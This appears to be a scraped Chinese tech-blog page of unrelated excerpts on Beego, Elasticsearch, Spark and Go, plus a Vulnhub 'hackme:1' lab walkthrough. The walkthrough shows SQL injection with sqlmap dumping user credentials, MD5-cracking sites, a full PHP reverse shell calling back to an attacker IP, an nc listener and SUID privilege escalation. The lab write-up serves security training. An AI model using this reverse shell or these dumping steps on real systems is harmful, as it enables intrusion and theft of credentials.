通过上述步骤,我们不仅实现了JWT在Beego框架下的集成与管理,还探讨了其在实际应用中的实用性和灵活性。JWT令牌的生命周期管理对于增强Web应用的安全性和用户体验至关重要。哎呀,你懂的,就是说啊,咱们程序员小伙伴们要是能不断深入研究密码学这门学问,然后老老实实地跟着那些最佳做法走,那在面对各种安全问题的时候就轻松多了,咱开发出来的系统自然就又稳当又高效啦!就像是有了金刚钻,再硬的活儿都能干得溜溜的! 在未来的开发中,持续关注安全漏洞和最佳实践,不断优化和升级JWT的实现策略,将有助于进一步提升应用的安全性和性能。哎呀,随着科技这玩意儿越来越发达,咱们得留意一些新的认证方式啦。比如说 OAuth 2.0 啊,这种东西挺适合用在各种不同的场合和面对各种变化的需求时。你想想,就像咱们出门逛街,有时候用钱包,有时候用手机支付,对吧?认证机制也一样,得根据不同的情况选择最合适的方法,这样才能更灵活地应对各种挑战。所以,探索并尝试使用 OAuth 2.0 这类工具,让咱们的技术应用更加多样化和适应性强,听起来挺不错的嘛!
2024-10-15 16:05:11
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风中飘零
Spark
...持多种编程模型,包括SQL查询、机器学习算法、图计算和流处理等。Spark以其低延迟、高性能和易用性著称,在大数据分析、实时数据处理和机器学习应用中具有广泛的应用。 名词 , 日志记录。 解释 , 日志记录是指系统或应用程序在运行过程中生成并记录事件、操作或状态变化的记录行为。在大数据处理和分布式计算环境下,日志记录尤为重要,因为它能帮助开发者追踪程序的运行状态,诊断错误,优化性能,以及在故障发生时进行快速定位和修复。日志通常包含时间戳、事件描述、相关变量值等信息,以便于事后分析和调试。 名词 , 性能调优。 解释 , 性能调优是指通过修改系统或应用的配置、优化代码结构、调整资源分配等方式,以提高系统运行效率、响应速度和资源利用率的过程。在大数据处理领域,性能调优尤其重要,因为它直接影响到数据处理的速度、成本和可扩展性。通过性能调优,可以降低延迟、减少资源消耗,同时确保系统的稳定性和可靠性。
2024-09-07 16:03:18
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秋水共长天一色
ElasticSearch
...你可能会想到很多实现方法: 比如你的底层数据库用的是sql数据库(比如mysql):你可能会想到在对应字段上使用field1 like '%?%',?即用户输出的关键词 比如你的底层数据库用的是mongo:你可能会想到在对应字段上使用db.collection.find({ "field1": { $regex: /aaa/ } })做查询,aaa即用户输入的关键词 比如你的底层数据库用的是elasticsearch:那厉害了,专业全文搜索神奇,全文搜索或搜索相关的需求使用elasticsearch绝对是最合适的选择 比如你的底层数据库用的是hive、impala、clickhouse等大数据计算引擎:鸟枪换炮,其实用作全文索引和搜索的场景并不合适,你可能依旧会使用sql数据库那样用like做交互 2. 方案选择 调研之后,可能会发现对于数据量相对大一点的搜索场景,在当下流行的数据库或计算引擎中,elasticsearch是其中最合适的解决方案。 无论是sql的like、还是mongo的regex,在线上环境下,数据量较多的情况下,都不是很高效的查询,甚至有的公司的dba会禁止在线上使用类似的查询语法。 与elasticsearch是“亲戚”的,大家还常提到lucene、solr,但是无论从现在的发展趋势还是公司运维人才的储备(不得不说当下的运维人才中,对es熟悉的人才会更多一些),elasticsearch是相对较合适的选择。 一些大数据计算引擎,其实更多的适合OLAP场景。当然也完全可以使用,因为比如clickhouse、starrocks等的查询速度已经发展的非常快。但你会发现在中文分词搜索上,实现起来有一定困扰。 所以,如果你不差机器,首选方案还是elasticsearch。 3. elasticsearch的适用场景 3.1 经典的日志搜索场景 提到elasticsearch不得不提到它的几个好朋友: 一些公司里经常用elasticsearch来收集日志,然后用kibana来展示和分析。 展开来说,举个例子,你的app打印日志打印到了线上日志文件,当app出现故障你需要做定位筛查的时候,可能需要登录线上机器用grep命令各种查看。 但如果你不差机器资源,可以搭建上述架构,app的日志会被收集到elasticsearch中,最终你可以在kibana中查看日志,kibana里面可以很方面的做各种筛查操作。 这个流畅大概是这样的: 3.2 通用搜索场景 但是没有上图的beats、logstash、kibana,elasticsearch可以自己工作吗?完全可以的! elasticsearch也支持单机部署,数据规模不是很大的情况下,表现也是不错的。所以,你也不用担心因为自己机器资源不够而对elasticsearch望而却步。当然,单机部署的情况下,更多的适合自己玩,对于可靠性的要求就不能太苛刻了。 如果你在用宝塔,那你可以在宝塔面板,左侧“软件商店”中直接找到elasticsearch,并“没有痛苦”的安装。 本篇文章主要讨论选型,所以不涉及安装细节。 3.2.1 性能顾虑 上面提到了“表现”,其实性能只是elasticsearch的一个方面,主要你的机器资源足够(机器资源?对,包括你的机器个数,elasticsearch可以非常方便的横向扩展,以及单机的配置,cpu+内存,内存越高越好,elasticsearch比较吃内存!),它一定会给你很好的性能反应。试想,公司里的app打印线上日志的行数其实可比一般业务系统产生的订单数量要大很多很多,elasticsearch都可以常在日志的实时分析,所以如果你要做通用场景,而且机器资源不是问题,这是完全行得通的。 3.2.2 易用性和可玩性 此外,在使用elasticsearch的时候,会有很多的可玩性。这里不引经据典,呈现很多elasticsearch官方文章的列举优秀特性(当然,确实很优秀!)。 这里举几个例子: (1)中文分词:第一章提到的其它引擎几乎很难实现,elasticsearch对分词器的支持是原生的,因为elasticsearch天生就为全文索引而生,elasticsearch的汉语名字就是“弹性搜索”。这家伙可是专门搞搜索的! 有的朋友可能不了解分词器,比如你的一个字段里存储“今天我要吃冰激凌”,在分词器的加持下,es最终会存储为“今天|我|要|吃|冰激凌”,并且使用倒排索引的形式进行存储。当你搜索“冰激凌”的时候,可以很快的反馈回来。 关于elasticsearch的原理,这里不展开说明,分词器和倒排索引是elasticsearch的最基本的概念。如果有不了解的朋友,可以自行百度一下。而且这两个概念,与elasticsearch其实不挂钩,是搜索中的通用概念。 关于倒排索引,其核心表现如下图: 如果你要用mysql、mongo实现中文分词,这......其实挺麻烦的,可能在后面的版本支持中会实现的很好,但在当前的流行版本中,它们对中文分词是不够友好的。 mysql5.7之后支持外挂第三方分词器,支持中文分词。而在数据量较大的情况下,mysql的多机器部署几乎很难实现,elasticsearch可以很容易的水平扩展。 mongo支持西方语言的分词,但不支持中文、日语、汉语等东方语言,你需要在自己的逻辑代码中实现分词器。 ngram分词,你看看效果:依旧是“今天我要吃冰激凌”,ngram二元分词后即将得到结果“今天、天我、我要、要吃、吃冰、冰激、激凌”。这....,那你搜索冰激凌就搜不出来!咋办呢,当然可以使用三元分词。但是更好的解决方案还是中文分词器,但它们原生并不支持的。 (2)自定义排名场景:比如你的搜索“冰激凌”,结果中返回了有10条,这10条应该有你想对它指定的顺序。最简单的就是用默认的得分,但是如果你想人为干预这个得分怎么办? elasticsearch支持function_score功能(可以不用,这个是增强功能),es会在计算最终得分之前回调这个你指定的function_score回调函数,传入原始得分、行的原始数据,你可以在里面做计算,比如查询其它参考表、或查看是否是广告位,以得到新的score返回给用户。 function_scrore的功能不展开描述,是一个在自定义得分场景下十分有用又简单易用的功能!下面是一个使用示例,不仅如此,它是支持自定义函数的,自由度非常高。 (3)文本高亮:你用mysql或mongo也可以实现,比如用户搜索“冰激凌”,你只需要在逻辑代码中对“冰激凌”替换为“<span class='highlight-term'>冰激凌</span>”,然后前端做样式即可。但如果用户搜索了“好吃的冰激凌”咋办呢?还有就是英文大小写的场景,用户搜索"MAIN",那结果及时匹配到了“main”(小写的),这个单词是否应该高亮呢?也许这时候你会用业务代码实现toLowerCase下基于位置下标的匹配。 挺麻烦的吧,elasticsearch,自动可以返回高亮字段!并且可以自由指定高亮的html前后标签。 (4)实在太多了....这家伙天生为索引而生,而且版本还在不断地迭代。不差机器的话,用用吧! 4. 退而求其次 4.1 普通数据库 尽管elasticsearch在搜索场景下,是非常好用的利器!但是它比较消耗机器资源,如果你的数据规模并不大,而且想快速实现功能。你可以使用mysql或mongo来代替,完全没有问题。 技术是为了解决特定业务场景下的问题,结合当前手头的资源,适合自己的才是最好的。也许你搞了一个单机器的elasticsearch,单机器内存只有2G,它的表现并不会比mysql、mongo来的好。 当然,如果你为了使用上边提到的一些优秀的独有的特性,那elasticsearch一定还是最佳选择! 对于mysql(关系型数据库)和mongo(文档数据库)的区别这里不展开描述了,但对于搜索而言,两种都合适。有时候选型也不用很纠结,其实都是差不太多的东西,适合自己的、自己熟悉的、运维起来顺手的,就是最好的。 4.2 普通数据库实现中文分词搜索的原理 尽管mysql在5.7以后支持外挂第三方分词器,mongo在截止目前的版本中也不支持中文分词(你可能会看到一些文章中说可以指定language为chinese,但其实会报错的)。 其实当你选择普通数据库,你就不得不在逻辑代码中自己实现一套索引分词+搜索分词逻辑。 索引分词+搜索分词?为什么分开写,如果你有用过elasticsearch或solr,你会知道,在指定字段的时候,需要指定index分词器和search分词器。 下面以mongo为例做简要说明。 4.2.1 index分词器 意思是当数据“索引”截断如何分词。首先,这里必须要承认,数据之后存储了,才能被查询。在搜索中,这句话可以换成是“数据只有被索引了,才能被搜索”。 这时候请求打过来了,要索引一条数据,其中某字段是“今天我要吃冰激凌”,分词后得到“今天|我|要|吃|冰激凌”,这个就可以入库了。 如果你使用elasticsearch或solr,这个过程是自动的。如果你使用不支持外观分词器的常规数据库,这个过程你就要手动了,并把分词后的结果用空格分开(最好使用空格,因为西方语言的分词规则就是按空格拆分,以及逗号句号),存入数据库的一个待搜索的字段上。 效果如下图: 本站的其它博文中有介绍IKAnalyzer:https://www.52itw.com/java/6268.html 4.2.2 search分词器 当用户的查询请求打过来,用户输入了“好吃的冰激凌”,分词后得到“好吃|冰激凌”(“的”作为停用词stopwords,被自动忽略了,IKAnalyzer可以指定停用词表)。 于是这时候就回去上图的数据库表里面搜索“好吃 冰激凌”(与index分词器结果统一,还是用空格分隔)。 当然,对于mongo而言,你需要事先开启全文索引db.xxx.ensureIndex({content: "text"}),xxx是集合名,content是字段名,text是全文索引的标识。 mongo搜索的时候用这个语法:db.xxx.find( { $text: { $search: "好吃 冰激凌" } },{ score: { $meta: "textScore" } }).sort( { score: { $meta: "textScore" } } ) 4.2.3 索引库和存储库分开 为了减少单表的大小,为了让普通的列表查询、普通筛选可以跑的更快,你可以对原有的数据原封不动的做一张表。 然后对于搜索场景,再单独对需要被搜索的字段单独拎一张表出来! 然后二者之间做增量信号同步或定时差额同步,可能会有延迟,这个就看你能容忍多长时间(悄悄告诉你,elasticsearch也需要指定这个refresh时间,一般是1s到几秒、甚至分钟级。当然,二者的这个时间对饮的底层目的是不一样的)。 这样,搜索的时候先查询搜索库,拿到一个指针id的列表,然后拿到指针id的列表区存储里把数据一次性捞出来。当然,也是支持分页的,你查询搜索库其实也是普通的数据库查询嘛,支持分页参数的。 4.3 存储库和索引库的延伸阅读 很多有名的开源软件也是使用的存储库与索引库分离的技术方案,如apache atlas: apache atlas对于大数据领域的数据资产元数据管理、数据血缘上可谓是专家,也涉及资产搜索的特性,它的实现思路就是:从搜索库中做搜索、拿到key、再去存储库中做查询。 搜索库:上图右下角,可以看到使用的是elasticsearch、solr或lucene,多个选一个 存储库:上图左下角,可以看到使用的是Cassandra、HBase或BerkeleyDB,多个选一个 虽然apache atlas在只有搜索库或只有存储库的时候也可以很好的工作,但只针对于数据量并不大的场景。 搜索库,擅长搜索!存储库,擅长海量存储!搜索库多样化搜索,然后去存储库做点查。 当你的数据达到海量的时候,es+hbase也是一种很好的解决方案,不在这里展开说明了。
2024-01-27 17:49:04
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admin-tim
Beego
配置文件解析错误?别慌!Beego 的正确处理方式 1. 引言 为什么配置文件很重要? 作为一个开发者,我总是对程序的配置文件充满敬畏。它们就像是程序的大脑,决定了程序的行为和功能。在用 Go 语言开发的时候,Beego 框架可是个大明星呢!它就像一个贴心的小助手,给你一堆现成的工具和功能,让你能飞快地搭出一个像模像样的网站,简直不要太爽!然而,任何工具都有它的局限性,特别是在处理配置文件时。 记得有一次,我在调试一个 Beego 项目的时候,遇到了一个恼人的错误:“configuration file parsing error”。我当时那个心情啊,简直就像被人突然浇了一脑袋凉水,懵圈了,心里直嘀咕:“这是啥妖蛾子呀?”后来我就自己琢磨来琢磨去,费了好大劲儿,总算把问题给摆平了。嘿,今天就想跟大家聊聊我的经历,说不定对碰上同样麻烦的小伙伴们有点儿用呢! 2. 配置文件解析错误是什么? 首先,我们需要明确什么是“configuration file parsing error”。简单说吧,就是程序打开配置文件的时候,发现里面有些东西跟它想的不一样,有点懵圈了。可能是语法错误,也可能是格式不正确,甚至可能是文件路径不对。总之,这种错误会让程序无法正常运行。 让我举个例子吧。假设你有一个 conf/app.conf 文件,里面的内容是这样的: ini appname = myapp port = 8080 如果你不小心把 port 写成了 porr,那么 Beego 就会报出 “configuration file parsing error”。这就怪不得了,Beego 在读取配置文件的时候,就想着你给它整点正规的键值对呢。结果你这输入一看,唉,这不是闹着玩的嘛,明显不按规矩出牌啊! 3. 如何正确处理配置文件解析错误? 3. 1. 第一步 检查配置文件的格式 当遇到 “configuration file parsing error” 时,第一步当然是检查配置文件的格式。这听起来很简单,但实际上需要仔细观察每一个细节。 比如说,你的配置文件可能有空行或者多余的空格。Beego 对这些细节是非常敏感的。再比如,有些键值对之间可能没有等号(=),这也是一个常见的错误。所以,在处理这个问题之前,先用文本编辑器打开配置文件,仔细检查每一行。 bash 打开配置文件进行检查 vim conf/app.conf 3. 2. 第二步 使用 Beego 提供的工具 Beego 为我们提供了一个非常方便的工具,叫做 beego.AppConfig。这个工具可以帮助我们轻松地读取和解析配置文件。要是你检查完配置文件,发现格式啥的都没毛病,可还是报错的话,那八成是代码里头哪里出岔子了。 下面是一个简单的代码示例,展示如何使用 beego.AppConfig 来读取配置文件: go package main import ( "fmt" "github.com/beego/beego/v2/server/web" ) func main() { // 初始化 Beego 配置 web.SetConfigName("app") web.AddConfigPath("./conf") err := web.LoadAppConfig("ini", "./conf/app.conf") if err != nil { fmt.Println("Error loading configuration:", err) return } // 读取配置项 appName := web.AppConfig.String("appname") port := web.AppConfig.String("port") fmt.Printf("Application Name: %s\n", appName) fmt.Printf("Port: %s\n", port) } 在这个例子中,我们首先设置了配置文件的名字和路径,然后通过 LoadAppConfig 方法加载配置文件。要是加载的时候挂了,就会蹦出个错误信息。咱们可以用 fmt.Println 把这个错误打出来,这样就能知道到底哪里出问题啦! 3. 3. 第三步 日志记录的重要性 在处理配置文件解析错误时,日志记录是一个非常重要的环节。通过记录详细的日志信息,我们可以更好地追踪问题的根源。 Beego 提供了强大的日志功能,我们可以很容易地将日志输出到控制台或文件中。下面是一个使用 Beego 日志模块的例子: go package main import ( "github.com/beego/beego/v2/server/web" "log" ) func main() { // 设置日志级别 log.SetFlags(log.Ldate | log.Ltime | log.Lshortfile) // 加载配置文件 err := web.LoadAppConfig("ini", "./conf/app.conf") if err != nil { log.Fatalf("Failed to load configuration: %v", err) } // 继续执行其他逻辑 log.Println("Configuration loaded successfully.") } 在这个例子中,我们设置了日志的格式,并在加载配置文件时使用了 log.Fatalf 来记录错误信息。这样,即使程序崩溃,我们也能清楚地看到哪里出了问题。 4. 我的经验总结 经过多次实践,我发现处理配置文件解析错误的关键在于耐心和细心。很多时候,问题并不是特别复杂,只是我们一时疏忽导致的。所以啊,在写代码的时候,得养成好习惯,像时不时瞅一眼配置文件是不是整整齐齐的,别让那些键值对出问题,不然出了bug找起来可够呛。 同时,我也建议大家多利用 Beego 提供的各种工具和功能。Beego 是一个非常成熟的框架,它已经为我们考虑到了很多细节。只要我们合理使用这些工具,就能大大减少遇到问题的概率。 最后,我想说的是,编程其实是一个不断学习和成长的过程。当我们遇到困难时,不要气馁,也不要急于求成。静下心来,一步步分析问题,总能找到解决方案。这就跟处理配置文件出错那会儿似的,说白了嘛,只要你能沉住气,再琢磨出点门道来,这坎儿肯定能迈过去! 5. 结语 好了,今天的分享就到这里了。希望能通过这篇文章,让大家弄明白在 Beego 里怎么正确解决配置文件出错的问题,这样以后遇到类似情况就不会抓耳挠腮啦!如果你还有什么疑问或者更好的方法,欢迎随时跟我交流。我们一起进步,一起成为更优秀的开发者! 记住,编程不仅仅是解决问题,更是一种艺术。愿你在编程的道路上越走越远,越走越宽广!
2025-04-13 15:33:12
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桃李春风一杯酒
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...blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 靶机描述 靶机地址:https://www.vulnhub.com/entry/hackme-1,330/ Description ‘hackme’ is a beginner difficulty level box. The goal is to gain limited privilege access via web vulnerabilities and subsequently privilege escalate as root. The lab was created to mimic real life environment. ‘hackme’ uses DHCP and in the possible event that the mysqld shuts down on its own (very rare cases), attempt to force restart the machine and it should be working fine subsequently. This works better with VirtualBox rather than VMware 一、搭建靶机环境 攻击机Kali: IP地址:192.168.184.128 靶机: IP地址:192.168.184.149 注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式) 二、实战 2.1网络扫描 2.1.1 启动靶机和Kali后进行扫描 方法一、arp-scan -I eth0 -l (指定网卡扫) arp-scan -I eth0 -l 方法二、masscan 扫描的网段 -p 扫描端口号 masscan 192.168.184.0/24 -p 80,22 方法三、netdiscover -i 网卡-r 网段 netdiscover -i eth0 -r 192.168.184.0/24 方法四、等你们补充 2.1.2 查看靶机开放的端口 使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口 可以发现有 2 个端口开放,22 和 80 2.1.3 尝试访问靶机网页 2.2枚举漏洞 22 端口分析 一般只能暴力破解,暂时没有合适的字典 80 端口分析 访问网站, 发现是一个登陆页面 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nm2jCq05-1650016495541)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110170424128.png)] 成功登录后 尝试手工注入:x' or 1=1 成功返回所有信息,说明存在SQL注入 2.3漏洞利用 2.3.1 sqlmap 利用注入漏洞 使用 burp 抓查询数据包 POST /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名: 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin,超级管理员,看起来像一个md5 扩展 在线解密md5网站 国内MD5解密: http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密: https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是:Uncrackable 登录上去,发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容,并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听:nc -lvp 6666 访问后门文件:http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹:http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了,换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询:touchmenot 没找到 尝试运行程序:发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这? 总结 本节使用的工具和漏洞比较基础,涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具:sqlmap 抓包工具:burpsuite Webshell 后门:kali 内置后门 Suid 提权:touchmenot 提权 本篇文章为转载内容。原文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 12:50:54
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Golang
...选择合适的编程语言和框架显得尤为重要。今天,咱就来唠唠如何用Golang这门神奇的语言,玩转高性能的数据持久化存储,让大家存数据也能存出飞一般的感觉! 二、Golang的优势 首先,我们需要了解为什么选择Golang。作为一个静态类型的编译型语言,Golang具有以下优势: 1. 高效性 Golang的设计目标之一就是提供高效的并发处理能力。 2. 简洁性 相比其他语言,Golang的语法简洁明了,易于理解和学习。 3. 并发支持 Golang提供了原生的并发模型,可以轻松地编写出高并发的应用程序。 三、数据持久化方案 对于数据的持久化存储,我们可以采用关系型数据库或者NoSQL数据库。在这里,我们将重点介绍如何使用Golang与MySQL数据库进行交互。 四、Go与MySQL的连接 首先,我们需要引入“database/sql”包,这个包包含了对SQL数据库的基本操作。然后,我们需要创建一个函数来初始化数据库连接。 go import ( "database/sql" _ "github.com/go-sql-driver/mysql" ) func initDB() (sql.DB, error) { db, err := sql.Open("mysql", "user:password@tcp(localhost:3306)/dbname") if err != nil { return nil, err } return db, nil } 五、插入数据 接下来,我们就可以开始使用连接来进行数据的插入操作了。下面是一个简单的例子: go db, err := initDB() if err != nil { 